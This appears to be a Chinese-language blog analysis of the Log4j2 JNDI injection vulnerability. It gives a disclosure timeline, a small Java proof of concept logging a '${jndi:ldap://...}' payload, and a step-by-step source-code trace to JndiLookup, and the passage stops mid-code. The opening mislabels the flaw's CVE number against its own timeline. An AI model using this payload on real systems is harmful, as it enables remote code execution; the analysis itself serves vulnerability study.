2021.12.09安全圈,红队的狂欢,蓝队的噩梦。CVE-2021-45105堪称核弹级漏洞,主要在于log4j应用极其广泛,漏洞触发也相对容易,百度、苹果、特斯拉等大厂都存在漏洞。
漏洞披露时间轴:
- 2014年7月13日:Apache Log4j2官方发布log4j-2.0此时该漏洞已经存在,距今7年之久;
- 2021年11月24日:阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞(CVE-2021-44228);
- 2021年12月8日:Apache Log4j2官方发布log4j2-2.15.0-rc1并第一次修复CVE-2021-44228漏洞;
- 2021年12月9日:启明星辰ADLab监测到Apache Log4j2官方公告并开展验证;
- 2021年12月10日:启明星辰ADLab确认漏洞存在,成功复现该漏洞并通报主管单位;
- 2021年12月10日:启明星辰ADLab研究确认log4j2-2.15.0-rc1存在Bypass的漏洞;
- 2021年12月10日:Apache Log4j2官方发布log4j2-2.15.0-rc2修复bypass漏洞。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
- log4j 2.4.1
- jdk1.8
PoC:
public class PoC {
private static final Logger logger = LogManager.getLogger(PoC.class);
public static void main(String[] args) {
String poc = "${jndi:ldap://127.0.0.1:1389/exp}";
//String poc = "${java:version}";
logger.error(poc);
}
}
默认情况下,log4j会检测${}占位符,对jndi,java等关键词进行相应的解析,其中jndi关键词可以直接远程加载代码执行,造成了漏洞的存在。
把断点定位org.apache.logging.log4j.core.net.JndiManager.lookup()
。
调用栈:
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:12, PoC (org.example)
我们首先断点跟进去,org.apache.logging.log4j.core.Logger.logIfEnabled()
。断日志打印级别,当前日志等级高于配置级别才走下去,打印格式化日志。
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
//判断日志打印级别,当前日志等级高于配置级别才走下去
if (this.isEnabled(level, marker, message, throwable)) {
this.logMessage(fqcn, level, marker, message, throwable);
}
}
中间省略一些调用逻辑,基本没有分支,都是类封装嵌套。
在格式化log打印toText()中serializer.toSerializable(event, destination);
其中,最关键的是Log4j格式化处理PatternFormatter对象,用于格式化输出日志信息。
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
int len = this.formatters.length;
for(int i = 0; i < len; ++i) {
//PatternFormatter数组
this.formatters[i].format(event, buffer);
}
if (this.replace != null) {
String str = buffer.toString();
str = this.replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
数组第一个是Date时间的打印,其格式化方法是
org.apache.logging.log4j.core.pattern.DatePatternConverter
的format方法
public void format(final LogEvent event, final StringBuilder buf) {
if (this.skipFormattingInfo) {
this.converter.format(event, buf);
} else {
this.formatWithInfo(event, buf);
}
}
我们自定义的消息打印对应的方式是,
org.apache.logging.log4j.core.pattern.MessagePatternConverter
的format方法,来检测字符串是否有${}占位符进行下一步解析。
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
//this.noLookups默认是false也就是开启
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
//判断是否存在${占位符
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
//如果存在会进行解析替换
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
...
org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute()
继续跟会通过${}来取出其中的字符串,进行下一步解析。
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
...
//解析
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
...
org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable()
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
通过${}取出的字符串会检测前缀,跟strLookupMap字典比对,找寻对应的event方法。
org.apache.logging.log4j.core.lookup.Interpolator.lookup()
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
String name = var.substring(prefixPos + 1);
//通过前缀来解析
StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware)lookup).setConfiguration(this.configuration);
}
String value = null;
if (lookup != null) {
//匹配事件对象执行
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
...
strLookupMap字典对应的方法,其中就包括jndi。
{
date=org.apache.logging.log4j.core.lookup.DateLookup@26b3fd41,
java=org.apache.logging.log4j.core.lookup.JavaLookup@7494f96a,marker=org.apache.logging.log4j.core.lookup.MarkerLookup@561b6512,
ctx=org.apache.logging.log4j.core.lookup.ContextMapLookup@2e377400,
lower=org.apache.logging.log4j.core.lookup.LowerLookup@1757cd72,
upper=org.apache.logging.log4j.core.lookup.UpperLookup@445b295b,
jndi=org.apache.logging.log4j.core.lookup.JndiLookup@49e5f737,
main=org.apache.logging.log4j.core.lookup.MapLookup@5c671d7f,
jvmrunargs=org.apache.logging.log4j.core.lookup.
JmxRuntimeInputArgumentsLookup@757277dc, sys=org.apache.logging.
log4j.core.lookup.SystemPropertiesLookup@687e99d8, env=org.
apache.logging.log4j.core.lookup.EnvironmentLookup@e4487af,
log4j=org.apache.logging.log4j.core.lookup.Log4jLookup@6aaceffd
}
org.apache.logging.log4j.core.lookup.JndiLookup.lookup()
方法中就是调用jndi进行解析,进而产生了jndi注入。
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
} else {
String jndiName = this.convertJndiName(key);
try {
JndiManager jndiManager = JndiManager.getDefaultManager();
Throwable var5 = null;
String var6;
try {
//jndi注入点
var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);